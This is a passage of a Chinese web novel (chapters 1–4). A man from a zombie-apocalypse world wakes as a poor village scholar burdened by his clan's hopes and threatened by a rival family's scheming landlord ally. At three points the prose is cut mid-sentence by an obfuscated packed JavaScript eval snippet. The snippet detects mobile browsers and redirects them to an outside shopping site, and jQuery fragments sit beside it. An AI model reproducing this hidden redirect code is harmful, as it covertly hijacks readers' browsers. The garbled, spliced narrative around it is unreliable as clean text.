《夫郎,你要相公不要?》
1. 第 1 章
赵国,京城。
上坡村。
阳春三月,春暖花开,正是一年播种季。
黄昏时刻,村民结束劳作,扛着锄头三三两两回家。
突然。
远处传来几声驴鸣,一辆简陋的驴车停在村口。
然后,走下一名青衫方巾的书生,眉目清朗,气度温文。他取出五文铜钱,含笑递给车夫,又拱手一礼,方才转身步入村中。
村人见了,不论心中作何想,脸上皆堆起笑意,纷纷招呼:
“韩秀才,今儿怎得空回来啦?”
“几日不见,秀才相公越发俊俏了……”
“那可不,读书人吃的是墨水,能跟咱一样?”
村民们热情打招呼。
原身也不是个高冷性格,韩璋自然不能冷脸。
他笑道:“今日书院休沐,便回家看看。各位叔伯婶娘近来可好?”
“好好好,今年春雪应时,春耕也顺当,大伙儿心里都乐着呢……”
因着今年气候好,农耕顺利,村民都喜气洋洋。
当然也有煞风景的人。
上坡村乃杂姓聚居,韩、罗两家因早年分田结怨,素来不睦。
村中唯二的秀才,除了韩璋,便是罗家郎。
罗母向来见不得韩家占尽风头,见韩璋手中提着八宝斋的糕点,便又忍不住扬声讥诮:
“哟,韩秀才这是提了八宝斋的点心回来?这一包少说也得百来文吧,年纪轻轻,倒真舍得!”
“你爹娘叔伯、兄弟姐妹哪个不是面朝黄土背朝天地挣几个辛苦钱,省吃俭用供你读书,你倒好,有钱不买书,尽往嘴上花。”
“哪像我家郢郎,有点工夫就抱着书不放,那可是‘头悬梁、锥刺股’的苦读!将来啊……”
然后滔滔不绝地夸起自家儿子如何勤勉,如何上进,拉踩韩璋不得行。
这般场面,在原身的记忆里,早已不是头一回了。
韩璋也不生气,只端着最温和的笑意,说出最绵里藏针的话。
“婶子说得是,韩某确实不及罗兄刻苦,日日挑灯夜战方能完成先生布置的课业,就连休沐归家也片刻不得闲,还要劳心劳力地背书,实在令人钦佩。”
“韩某胸无大志,惟愿他日若能高中,好好照应家人。眼下最要紧的,是尽心侍奉祖父祖母、爹娘叔婶,免得将来‘子欲养而亲不待’,空留悔恨……”
“对了,罗婶家里既有读书人,想必也清楚,读书人是可以靠抄书挣些银钱的。一本书若抄得工整,能得几钱到几两不等,倒也不至于连一包点心都舍不得买。”
“怎么,罗兄平日里不曾抄书赚些银两,孝敬罗婶几包点心尝尝?”
罗秀才就是个一心只读圣贤书,两手不沾俗事的主,从不想法子贴补家用,只伸手要钱,将一家人累得如牛似马。
“你……”
罗婶被这一番话噎得满脸通红。
她当即撸起袖子叉腰,就要破口大骂,挣回颜面。
可惜韩璋不配合,当即打断:
“婶子,天色不早,该回家用饭了,今日就不多陪了,改日再叙。”
说罢转身就走,迅速走远。
罗婶儿没机会找回面子,只能气得在后面跳脚,气急败坏嚷嚷。
“呸!小兔崽子牙尖嘴利!会抄两本书有什么可得意的?我儿可是已经和孙家小姐定了亲!等他做了孙员外的乘龙快婿,莫说百来文的糕点,就是几两银子一块的点心,俺家也吃得起!”
对方声音很大,哪怕已经走远的韩璋都听见了。
但韩璋却并没有停顿和在意。
他不是原身,对那孙家小姐可没意思——他喜欢男人,要娶也是娶小哥儿。
没错。
此韩璋已非彼韩璋!
他是昨夜才穿越而来的异世之魂。
穿越之前,他的世界正陷于末世。天灾肆虐,丧尸横行,变异动植物与人类争夺着最后的生存空间。他所在的基地遭遇围攻,所有人都丧生于那场恐怖的尸潮之中,包括他自己。
可没想到的是。
他再次睁眼,竟重生在这个架空朝代,成了一名贫寒的农家子弟。
这个世界类似华夏古代,却有三种性别:男人、女人,以及能生育的男子——哥儿。
而原身名字与他有一字之差,叫韩勤璋,今年20岁,京城郊外上坡村人士,是个已经有秀才功名的寒门书生。
昨夜原身起夜如厕,迷迷糊糊脚下打滑,竟一跤摔没了性命。
而后醒来的,就成了他!
对此,韩璋是非常高兴的。
毕竟他还没活够,还不想死。纵然穿越到这落后古代,可再艰难,又能难过那个满目疮痍的末世吗?
……
循着原身留下的记忆,韩璋没费什么周折便寻到了韩家门前。
与村里常见的泥草房不同,韩家的房子很不错,是一座青砖瓦房的大院子。
可这并不意味韩家有多富裕。
恰恰相反,为了供养原身这个读书人,韩家早已捉襟见肘。
自古读书便是烧钱的行当,寻常百姓若想供出一个读书人,莫说勒紧裤腰带,便是敲骨吸髓般的付出,也未必能填满这无底洞。
韩家之所以能住青砖瓦房,以及供养原身读书。
有很大原因,是韩爷爷年轻时敢闯敢拼,随商队走南闯北,几番出生入死,才攒下些许家底,在村中建起这座体面的青砖院子。
“爷奶,爹娘,二叔二婶,三叔三婶,我回来了。”
走到韩家门口,还没进去,韩璋就学着原身的习惯喊了声。
他适应环境很快,昨晚就已经把原身记忆的融会贯通。
没办法,不快不行——这毕竟是礼法森严的古代,稍微有点不对,就会被人当成异端,那可就要大命了!
今日恰是书院休沐,韩家上下早盼着长孙归来。
一听见韩璋的声音,
无论在堂屋忙活、灶房张罗,还是后院拾掇的家人,皆放下手中活计,满面喜色地迎了出来。
“是大郎!咱们大郎回来啦!”
“哎呦,奶奶的乖孙,这才几天没见,怎么瞧着又清减了!”
“大侄子快进屋歇着!”
“大哥,大堂哥……”
韩家老老小小围着韩璋关心,就跟护什么稀世珍宝般,既欢喜又小心翼翼。
而他也确实是韩家的宝。
二十岁的秀才,虽非惊才绝艳,却也堪称出色。若再进一步中了举,那便是改换门庭、光耀乡梓的大事。
面对韩家人的热情,韩璋适应非常良好。
前世身为孤儿,想要什么都需要自己去争,所以性格并不内向,再大的场面也难不住他。
“爹,娘,我回来了。家里用过饭不曾?若还没,把我带的糕点蒸上,热着吃更香,今晚正好添个菜……”
他将手中物什递给母亲,又转向祖父母笑道:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656337|188306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“阿爷阿奶,我在书院好着呢,哪就瘦了?您瞧我这胳膊腿,结实着呢!”
说罢,还挽起袖子,鼓了鼓臂上肌肉示意。
韩爷爷早年走镖,通些拳脚,家中儿孙自幼也跟着习武强身,就连原身这个书生也不例外,身子骨很是硬朗。
韩奶奶见孙子这般健壮,喜得连连点头:
“壮实好,壮实些,往后进贡院考试才不易病倒。”
“……”
说起科举考试,韩璋表情就有瞬间的僵硬。
因为原身不仅是韩家的指望,还是整个韩氏宗族的希望,肩负光宗耀祖,重新崛起家族的重担。
这不,说曹操曹操到。
一家人还未叙完话,院门外便涌来一群族中老人。
人人手中提着鸡蛋、布匹、腊肉等物,满面堆笑。
“老六!听说大郎休沐回来了?”
“瞧着像是瘦了些,快把这些拿去,给大郎好生补补!”
“大郎在书院可还顺心?先生近来可曾夸你……”
韩氏宗亲们一如往常,热络又疼惜地围上来问长问短。
那阵仗,简直如潮水般涌来,颇有几分“丧尸围城”的气势。
不过韩璋很淡定!
因为这在原身记忆中是常态,而且这些长辈也用不着他招呼。
果不其然。
稍作寒暄后,老人们便自发在院中坐下,话起当年。
族老语气怀念又惆怅道。
“想当初咱们老韩家,也算是名门望族,尚未落魄时,最拮据最没出息的族人,都是奴仆伺候,绫罗绸缎,好不风光显赫。”
韩爷爷也点头附和,感叹道:“大哥说的是,犹记得小时候我调皮,把父亲书房价值千金的琉璃马打碎,还是大哥替我与父亲求的情。”
“不过千金琉璃马罢了,那时算不得什么,便是没有我求情,父亲也不会责怪弟弟……只叹我韩氏气运不佳,王朝更迭,乱世横行,家族往昔峥嵘只剩云烟岁月。”
族长摸着胡子长长叹气。
四周记得旧事的老辈们也纷纷面露唏嘘。
但很快,族长又振作精神,浑浊的眼中绽出精光,重重一拍韩爷爷的肩:
“好在老六你争气,为咱们韩氏养出了一位麒麟孙!”
“大郎十几岁便中了秀才,又入了向南书院求学。待明年秋闱,必能高中举人、进士,重振我韩氏门楣!”
“老六,你们定要悉心照料大郎,笔墨衣食,皆需用好的,切莫让他为俗务分心。若有难处,尽管向族里开口,绝不能误了孩子的前程!”
言罢,他又环视众人,语重心长道:
“大伙儿也莫存芥蒂。大郎是宗族之望,他若高中,全族皆受益。想想咱们韩氏昔年风光,再看看如今子孙模样——”
“祖宗家训:宗族同心,其利断金,吾等定要重振家族荣光!”
闻言,众人纷纷点头。
族老1郑重道:“大哥说得是,老六家既出麒麟儿,我等怎可袖手旁观?”
族老2严肃道:“战乱饥荒都熬过来了,还差这紧几年裤腰带?”
族老3激动道:“你一两,我一两,家族明年就荣光!”
族老4拍桌道:“你不给,我不给,大郎何时耀门楣!”
一群老头老太太就跟洗脑现场般,气氛那叫鸡血和热闹。
大学理科生的韩璋:……
这门楣他感觉自己有点耀不了。
2. 第 2 章
“爹,娘,我这一身尘土腌臜得很,容孩儿先回房换身衣裳,此处便劳烦二老照应了。”
眼看众人聊得火热,韩璋不想留下当猴子,果断开溜。
直至回到房中,只有自己一个人的时候。
他才长长吐了口气,想着现在的情况有些头痛。
对于能够重新活一次,韩璋自然是欣喜开心的,但他这具身体的原主,处境却并不太好。
家徒四壁尚在其次,他拥有后世知识,敛财聚富并非难事。
眼下真正的难关,乃是读书科举!
但凡懂点的人都知道,古代科举的难度有多大。
韩璋自觉不是学渣,可也没什么信心在其中脱颖而出,哪怕融合了原身的记忆也不行。
因为他前世是个理科生,底子从一开始便偏了!
而这不是最头痛的。
最头痛的是,原身不仅是父母全家的指望,更是整个韩氏一族,东山再起的唯一曙光。
如同刚才院子里韩族长感叹的那般,他们韩氏一族,以前还真的是个名门望族。
可惜,那都是前朝旧事了。
由于王朝更迭,乱世战争,饥荒逃亡……等等天灾人祸。
偌大一个家族早已在乱世中风流云散。家财尽丧,族人凋零,最终只剩韩族长与韩爷爷等几个半大孩童,侥幸逃至这京畿之地落脚生根。
曾见识过家族鼎盛,享受过锦衣玉食,韩爷爷兄弟几人岂甘终生面朝黄土背朝天?
奈何他们既无读书天赋,又因家族败落时年纪尚幼,未能承袭多少安身立命的本事,重振门楣之志,终究是心有余而力不足。
于是最后怎么办呢?
自然只能“激娃”,培养子孙后代。
原身,就是韩氏族中这么多年,目前唯一一个拥有读书天赋的苗子。
而原身很是争气。
自幼受尽亲长与族人的珍视呵护,非但未养出骄纵性子,反格外懂事,立志发奋苦读,以复兴家族为己任。
但问题是……
原身虽然优秀,可不是天才,所以平时学习压力还是很大的。
而现在,韩璋想到那些‘之乎者也’的四书五经,也是脑壳痛得很。
穿越爸爸,早告诉他是科举文男主啊!
当初填报大学志愿时,他肯定选文科,还专攻选汉语言文学专业,把中华上下几千年的知识名著,儒家经解,通通倒背如流,钻研透彻。
可惜世上没有如果。
所以现在的结论就是:他这半路出家的理科生,想走科举仕途,必须付出双倍的努力和汗水才行!
是的,韩璋并没有放弃科举这条路。
古代士农工商。
他是个有野心的人,如果可以,他还是想站在高处。
毕竟古代和现代不同,三六九等阶级森严,种田辛劳,工匠位卑,商贾即便腰缠万贯,亦处处受制,难有尊严。
这个时代想出头,还真就只能靠读书。
“好在老天爷没太绝,让我把异能也带了过来……”
韩璋长呼一口气,看着手中瞬间催熟的草籽,神色有些安慰。
没错,他在末世觉醒的植物异能,也跟着他穿越了过来。
他这个异能还是很不错的。
既可以催熟植物,又拥有治疗效果。
前者作用暂且不多说,只说后者,韩璋就非常满意。
穿越古代,最怕的便是医疗落后,一场小病便能夺人性命。
如今有异能,他就不用担心古代的医疗条件不够,一不小心病死了。
前路虽然困难。
但韩璋是个有毅力,也不乏手段之人。
前世孤儿出身,他都能靠自己混出人样,末世后还建立了属于自己的安全基地,成为一方大佬。
现在同样天崩开局,他就不信自己还能一辈子待在底层!
……
“吃饭了!”
就在韩璋给自己做心理建设时,外头闲聊的族长族老们已经离去,家里的饭食摆上桌,终于可以开晚食了。
一家人围坐在那张略显破旧的圆桌旁,目光皆不由自主地飘向桌上饭食,暗暗咽着口水。
韩家穷困,饭菜自然不好。
就是杂粮窝头,清稀粥,还有炒野菜,和百姓家最常见的腌咸菜。
但因为韩璋今天回来。
所以桌上多了一碗白米饭,和一小盘腊肉炒白菜,以及他带回来的糕点。
不出意外。
上桌后,韩奶奶就把米饭和腊肉摆到了韩璋面前,满是慈爱心疼道。
“大郎,奶的乖孙,在书院定是辛苦得很,瞧着脸都清减了。快,多吃些肉补补身子,若不够,奶再与你蒸去!咱家过年腌的腊肉,还存着好几方呢!”
“还有这精米,是顶好的货色,你阿爷前几日特意进城买的,听说是打江南水乡运来的,咱们这地界长不出,最是养人……”
这是原身的专属待遇,作为读书人,但凡家里最好的东西都属于他。
韩家众人也早就习惯,虽然馋得口水都快流出来了,可却并没一个人露出反对和不满之色,家庭关系十分和谐。
而这,都是韩爷爷长年累月的洗脑成果。
果不其然。
等韩奶奶说完,韩爷爷就把另一盘糕点,给家里人均分下去,日常训诫道。
“正所谓:一人难挑千斤担,众人能移万座山!我们韩家如今虽清贫,但有大郎在,迟早能够有改换门楣,重回先祖荣光的那天。”
“老二、老三,这些年为供养大郎读书,你们两房受累了。你们的辛苦,不止爹娘看在眼里,大郎也必是铭记于心。”
“这块点心,不仅仅是大郎孝敬你们的心意,而是咱们韩家崛起的奠基。”
“长辈慈,子孙敬,同族共齐心,作为韩氏子孙,你们定要谨记在心!”
韩爷爷话音方落。
韩父韩母立
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656338|188306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
马附和响应:“父亲说得对,齐心协力才能其利断金,二弟三弟为大郎的付出,大郎定会谨记,将来他出息了若不孝顺叔婶,儿子亲手打断他的腿。”
韩二叔二婶笑容憨厚:“大郎是麒麟子,将来定能高中进士,光耀家族门楣,眼下吃些苦,值得!我们相信大郎。”
韩三叔三婶也赶紧道:“父亲放心,我们都晓得轻重,我们知道大郎不似罗家秀才,心中是看重我们这些叔婶的,为了大郎我们吃苦都愿意……”
“阿爷阿奶,堂哥读书费心神,合该吃好些!”
“就是,穷秀才,富举人。待大哥中了举,咱家不仅能日日见荤腥,还能住上青砖大瓦房,使奴唤婢,叫村里人都眼热哩!”
“大兄有了功名,我们姊妹往后说亲也能攀得高枝,穿戴那顶好的头面衣裳……”
韩家孙辈们也是激烈响应。
没有半分嫉妒兄长的特殊待遇,只有对未来的美好幻想和坚定。
大哥可是十几岁就能考上秀才的麒麟子,落榜是不可能落榜的,将来肯定有大出息!
如此一番激动人心的发言后。
韩家众人又齐刷刷看向韩璋,满眼殷切期许。
韩璋:……
韩璋笑容勉强,“阿爷阿奶,爹娘叔婶,弟弟妹妹,你们放心,我一定努力读书,明年秋闱高中,改换咱们韩家门庭。”
“好,好孩子!吃饭,都动筷吧。”
韩爷爷这才笑容欣慰招呼大家开饭。
一群人迫不及待拿起窝头,啃得香甜。
韩璋也努力埋头干饭。
虽然他现在吃的每一口米和肉,都需要将来数十倍的汗水来偿还,但那又怎样,现在吃到嘴里的东西才是王道。
以后的事情,以后再说吧。
他都多少年没吃过纯天然的正常食物了!
末世动植物变异,就算他有植物异能,可以催熟粮食,但变异粮食只能填饱肚子,口感方面实在一言难尽。
虽然原身处境艰难,但能够重活一世,过上正常人的生活,考科举就考科举吧。
毕竟人生没有哪条路是轻松的。
饭毕。
韩璋想起先前罗婶儿说的话,不由询问。
“阿爷,今日孙儿回村时,听罗家婶子提及,那罗郢似乎已与孙家小姐定了亲事?”
罗郢就是上坡村唯二的另一个罗秀才。
因为罗氏和韩氏两族矛盾,原身和罗秀才平日也难免比较竞争。
为了往上爬,两人都很是有心机。
这孙家小姐就是他们同时看中,准备吃软饭的目标。
是的,吃软饭。
作为寒门书生想要出头实在太难了,娶个好妻子好夫郎,接受岳家扶持,是普通书生最容易缩短奋斗时间的捷近。
韩璋对孙小姐没意思。
但如果孙小姐嫁给了罗秀才,罗家有孙员外帮扶,那他们韩家接下来在村里,怕是少不得被打压受气。
3. 第 3 章
韩璋并不是多虑。
他们韩氏和罗氏两族之间,虽不存在深仇大恨,但多年来也是矛盾重重。
但凡姓罗的得势,他们姓韩的肯定没好日子。
提起孙小姐这门亲事,韩爷爷满是皱褶的脸上也不免露出愁色。
“阿爷正想同你说,孙员外已与罗家定下亲事,聘礼婚书皆已过毕……”
韩奶奶有些不忿道,“孙员外明明看中的是咱家大郎,论才华,论相貌,那罗秀才拍马都赶不上咱家大郎!”
“可恨罗郢那小子能说会道,竟私下与孙小姐暗通款曲,哄得孙小姐非他不嫁,这门好亲事才落到罗家头上。”
这话不假。原身无论相貌才学,皆在罗秀才之上。
但架不住罗秀才更会甜言蜜语,而原身却是个不解风情的榆木疙瘩,可不就成了输家。
孙员外这个小地主,已经是韩家目前能够接触到最好的亲事对象了。
现在被人捷足先登,韩奶奶除了生气,更多的就是担忧。
“听说孙员外的族兄,可是个六品官员,在国子监任职,罗秀才娶了孙小姐,就算不能去国子监读书,也能去借藏书看。”
“到时候,罗秀才有更好的夫子和书籍,咱们大郎没有,来年科考肯定落后对方一大截,这可如何是好……”
古代寒门为什么难出贵子?
是寒门子弟智商不行吗?
当然不是!
归根究底,还是上层垄断了知识,没有足够的资源和书籍,天才也会被埋没。
所以,韩璋对原身想吃软饭的想法,并不排斥。
因为这种高娶低嫁的现象,在古代很正常,是一种典型的姻亲交易。
甚至很多高门大户,还会主动物色有能力的贫寒书生,把自家女儿哥儿下嫁过去做投资。
只要别软饭硬吃,这条路还是个很有前景的事情。
他脸皮厚,不介意!
韩璋安慰道:“阿奶,孙家这门亲事,罗家抢就抢了,京城最不缺的就是显贵,孙儿无论是相貌还是才华,都远超罗秀才,他都能娶到孙家小姐,孙儿还缺赏识我的伯乐吗?”
“既然要高娶,就要娶最好的,孙家当官的人是孙家族亲,又不是孙员外自己,一个小地主能帮孙儿多少?”
“孙儿喜欢小哥儿,官家公子和富商公子,才是孙儿的目标。”
前者能够帮助仕途,后者虽身份瑕疵,但胜在有钱实惠!
面子和里子,总得占一个才行。
韩爷爷沉吟道,“大郎你说得有道理,可问题是,官家公子和富商公子,咱们家根本没有门路攀附,孙家已经是咱们能够接触到最好的亲事了。”
“还是说,大郎你已经有了人选?”
韩璋:……当然没有。
他昨天才穿越过来,一直忙着熟悉原身记忆,哪有功夫考虑成亲对象。
但这不妨碍他做梦。
他不仅有能力,还长得帅,一看就是个潜力股,连罗秀才都能吃上软饭,他还愁找不到有眼光的伯乐岳父吗?
做人就得有梦想,别怕梦想不能实现,没有梦想才完蛋。
于是,韩璋很自信点头。
“阿爷,您放心,孙儿的亲事孙儿自己心中有数,绝对不会比罗郢那小子差,咱们当务之急,还是要防备罗氏那边的打压,在孙儿考中举人,又或者亲事定下之前,族里的叔伯婶子们,可能要受些委屈了。”
“此事阿爷会和你族长爷爷他们商议,你好好读书,莫要为这些事情操心,阿爷只盼你早日娶回一位贤良夫郎。”
韩爷爷抚须含笑,眼中尽是信重。
他对这孙儿,向来寄予厚望。
……
晚膳后,又和韩爷爷聊了会在书院读书的情况。
韩璋这才得闲,回到房间,点燃油灯看书。
正所谓:不积跬步,无以至千里;不积小流,无以成江海。
他不敢保证自己努力了,日后就一定能在科举大军中脱颖而出,但学习这个事情,最重要的就是积累和持之以恒。
反正甭管成不成功,先学了再说。
通读历史,封建王朝普通百姓的生活太难了,不仅生活水平低下,人更是没有任何人权可言,一个弄不好,被贵族打死了都还得被嫌晦气。
他在末世虽然吃穿不好,但作为基地掌权者,活得还是很痛快。
所以,古代百姓这种水深火热的日子,他是真过不了。
他要出头,一定要出头!
“咚咚……”
就在韩璋愁眉苦脸看书的时候,房门突然被敲响。
几声清脆呼唤自外传来:
“大哥!”
“大兄!”
“大堂哥!”
“我们能进来吗?”
是原身同辈的弟妹们。
韩家的孙辈,对比村里别家一对夫妻四五个娃,子孙算是单薄的,但在韩璋这个后世人看来,其实加起来,也真心不少了。
姑娘小子哥儿加起来足足8人。
韩父韩母育有三个孩子:长子韩勤璋(韩璋),次子韩勤年,小哥儿韩冬。
二叔二婶也有三个孩子:长子韩勤丰,次子韩勤文,小哥儿韩秋。
三叔三婶则是两个女儿:长女韩春,次女韩夏。
这些弟弟妹妹们的年纪都不大,最大不过15岁,最小才10岁。
“进来吧。”韩璋放下书让大家进来,神色温和询问,“怎么这个时候来找大兄?”
原身是个很有君子风范的人,待人向来温和有礼。
尤其是对自己付出良多的家人,原身很是在乎重视,不管内心承受多大的压力,在家人面前都保持着长子长孙的担当和沉稳。
而这些弟妹们,也很尊敬原身这个兄长。
几人进屋后,由他两个亲弟弟做代表,小心翼翼从怀里拿出个小包裹打开。
“大兄,你在书院辛苦了,这是我们自己攒钱给你买的东西。”
韩勤年道:“毛笔是我和二弟三弟,去山上捉野鸡兔子赚的。”
韩冬道:“墨块是我和秋哥儿,还有春丫、夏丫一起打络子赚的。”
其余人:“大兄,你看喜欢不?书斋掌柜说这笔墨是读书人最喜欢的一款,大兄用着定然顺手,写字漂亮。”
众人稚嫩的脸上洋溢着期待兄长夸赞的表情。
是那么真挚淳朴。
韩璋目光看到几个弟妹明显有伤口的粗糙手指,还有黑瘦的小脸……
绕是经历良多,不会轻易动摇情绪的他,胸口也忍不住涌出一股酸涩。
他在现代是孤儿,虽然孤儿院的院长和老师都对他很好,但因为院里的孩子太多,这份好终究是有限的。
他从未体会过如此温暖的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656339|188306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亲情,和友爱的家庭氛围。
韩璋挨个揉揉弟妹们的脑袋,有些感动教训道。
“这笔墨品质上佳,少说也得花2两银子,你们得捉多少野鸡兔子,打多少络子才能把银钱攒出来?”
“山里有猛兽,你们仨小子时常偷摸进去,也不怕被大虫和熊瞎子叼了去!”
“还有冬哥儿你们几个,总是偷摸夜里打络子,若是把眼睛熬坏了,将来怎么给自己绣嫁衣?”
也不怪原身重视亲人,虽然背负着振兴家族的巨大压力,但亲人对他是真的好。
知道兄长是关心自己,几人被教训了也不生气。
“大兄为了光耀门楣读书甚是辛苦,我们没有大兄的读书天赋,只能帮大兄多多买些笔墨使用。”
“大兄放心,阿爷有教我们拳脚,我们就在后坡捉野鸡和兔子,没去深山里。”
“等大兄出息了,咱们的嫁衣就让绣庄绣娘做,不累着自己……”
众人笑得憨厚,眼中尽是对兄长的崇拜。
韩冬更是抱着亲哥的手臂嬉笑,“大哥,待你考中举人、进士,做了大官,我就是官家哥儿了,哪怕有眼疾,人家也羡慕我!”
“谬论。”
韩璋敲了下活泼的小弟脑袋。
教训几个小不点几句,勒令几人不许再偷偷去后山,熬夜打络子,最后又表扬肯定了他们的关心,这才让人离开。
然后长长叹了口气。
原身背负着沉重的家族希望,而韩家其余人,又何尝不是为了家族改变阶层地位,牺牲自己的利益,压榨自己的价值呢。
韩璋想着如今的处境,不禁有些惆怅。
但很快。
他就惆怅不起来了。
因为拥有异能的他,现在五官要比寻常人灵敏数倍。
只听刚刚跑来关心的他几个弟妹,正聚在角落说悄悄话。
韩冬代表家里的姑娘哥儿道:“二哥,你们哪里来的银钱买毛笔?那可是一两银子一支的毛笔,你们是不是又去骗地主家的傻儿子了?”
“都说让你们别干这种事,别干了!人家儿子傻,人家爹可不傻。”
韩勤年立马反驳:“……谁骗人了,我们是那种人吗?王少爷爱听故事,我们给他讲,他老子和他嫂子的二三事,他听得高兴打赏银,咱可正经又光明!”
解释完。
韩勤年也代表家里的男丁问:“那你们的墨块儿咋回事?这也不便宜,你们是不是又跑去哄王地主家的傻小姐了?”
韩冬顿时急眼:“……啥叫哄?我们也不是那种人啊!我们就是是帮王小姐盯梢,前儿逮住她未婚夫与表妹私会,她谢我们的!”
确认过眼神,都是打小报告赚封口费的人!
三个小子和四个姑娘哥儿对视露出默契憨笑。
然后。
韩冬咳嗽道:“算了,这不重要,大哥方才定感动极了,以后等大哥科举高中,肯定会帮我们找个好人家。”
韩勤年点头,“大哥刚才眼眶都红了,我们的好,大哥肯定都记住了,等大哥金榜题名,咱们就有好日子过了。”
“是的是的,大兄最厉害,咱以后就靠大兄了!”
其余人也小鸡啄米,幻想日后啃兄的美好日子。
屋中。
不小心听完全程的韩璋:……
什么老实巴交淳朴,一群戏精!
4. 第 4 章
在原身的记忆中,韩家人就是淳朴和老实的代名词。
但通过韩璋的观察和分析,他发现这个韩家,是有点子东西在身上的,一个个看似老实憨厚,实则腹黑精明。
不过,老话说得好。
凡事论迹不论心,论心世上无完人。
韩家的确指望原身振兴家族,可对原身的付出和关爱,也不是假的。
从小到大,家里和族里但凡有点什么好东西,都是原身享受,原身在族里的话语权,也是相当得高。
而且有一点很好。
就是这个韩氏全族人,是真的非常团结。
一夜好眠。
次日。
韩璋早早就起床,穿上方便行动的短打布衣,按照原身的生活习惯,出门跑步打拳,进行每日的身体锻炼。
顺便思考接下来,该怎么应付罗氏对韩氏的打压危机。
以他们两族多年的矛盾,这个危机肯定不会来得太晚。
而韩璋也猜测得没错——罗氏的打压,来得比他预料中还要快!
下午。
孙家的管事便来到上坡村,宣布了一个消息。
“为庆贺我家小姐与罗郎君定亲,老爷决定今年佃给上坡村的田,租子统统一律减收一成。”
“当然,韩氏全族例外,并且你们的佃租,要涨两成,因为我家老爷去庙里算过了,你们韩氏一族的八字,和咱们老爷犯冲!”
此话一出,韩氏全族人脸色大变。
虽说近几年风调雨顺,地里的庄稼年年都收成不错,但这个时代产量到底有限,交完赋税后,剩下的也就只能糊口而已。
现在孙家要涨两成,足足七成佃租,生怕他们饿不死啊。
韩族长立马着急道:“何管事,这其中是不是有什么误会?我们韩氏佃孙家田地多少年了,八字怎么可能与孙老爷犯冲?”
“是呀是呀,何管事,这其中肯定有误会。”
“如今收成刚够吃饱,您这一下子涨两成,也太不给人活路了啊!”
韩氏其余族人也接二连三开口,个个心急如焚。
田地收成就是种田人的命,谁能淡定得了?
可孙家摆明是要替亲家罗氏出头,故意刁难。
何管事皮笑肉不笑地摆摆手:
“韩族长,瞧你们说的,事情哪有这么严重?不过多交两成佃租而已,你们不是还剩下三成余粮吗?这怎么就过分了?”
“没有我们老爷的田,你们一粒粟米都收不着呢,做人呐,不要太贪心。”
“庙里大师既然说你们八字犯冲,那就是犯冲。若非我们老爷心善,直接把地收回来,你们全族现在就得喝西北风!”
韩族长气得浑身发抖:“你…你们……”
话音未落,里正也走了过来,看向韩族长的目光躲闪,语气带着几分愧意:
“韩老弟…还有一事,今年村里的徭役,你们韩家的名额…不能再以银钱抵了。不然村里人手实在不够……”
哐当——
里正话音一落,韩氏众人眼前发黑,几位老人当场晕厥过去。
徭役是何等要命的事?稍有常识的人都清楚。
每年徭役期至,但凡家境宽裕些的,谁不拼命凑钱抵了名额?如今村里不准他们破财消灾,那韩家青壮这一去,还有几人能回?
等青壮年都死完了,韩氏就剩下来老弱妇孺,还有什么未来可言。
这分明是要将他们全族往绝路上逼啊!
偏偏他们还反抗不得,因为无论是涨佃租,还是花钱抵消徭役名额,孙家和里正都并没有违反律法,至多落个不仁之名罢了。
“欺人太甚,你们实在欺人太甚了……”
韩氏众人浑身颤抖,怒不可遏。
徭役一事,不用多想,必也是孙员外逼迫里正所为。
村里其余姓氏的人,虽然得了减佃租的好处,但心里也高兴不起来。
因为唇亡齿寒。
今日孙员外能够帮助罗氏,打压韩氏,又怎知将来他们与罗氏发生矛盾,被打压的对象,不会换成他们自己?
倒是罗氏这边喜气洋洋。
罗秀才的母亲罗婶儿,更是抓住机会耀武扬威,落井下石。
“唉哟,韩族长,你们这可就太胡说八道了!”
“地是孙家的,孙老爷愿意把地佃给你们,那是情分,给你们涨租,也是本分,怎么就欺人太甚了?”
“你们要觉得委屈,别佃孙老爷家的田,不就成了……”
对方捂嘴,笑得幸灾乐祸。
而这话纯粹就是放屁。
上坡村周围的田,都是孙老爷家的,不佃孙家的田,还能佃谁家的?
京城寸土寸金,韩氏族人自己积累的几亩薄田,根本不够填饱肚子,想活着,就只能租别人家的种。
这就是底层百姓,人家只需要稍稍抬手,就能压得你喘不过气。
所以,真不怪韩爷爷这些族里的老人们,想改变阶级都快想疯了。
眼看韩氏众人无话可说。
何管事这才拂袖道:“既然你们没意见,那佃租的事情,就这么决定了,今年你们韩氏记得把佃租交齐。”
说罢,就准备走了。
但下一刻。
他就被人叫住了。
在人群中看完全程的韩璋走出来,声音冷冷道。
“七成的佃租,我们韩氏交不起,既然我族的八字与孙老爷犯冲,那这地,我们韩氏就不佃了,你们把田收回去吧。”
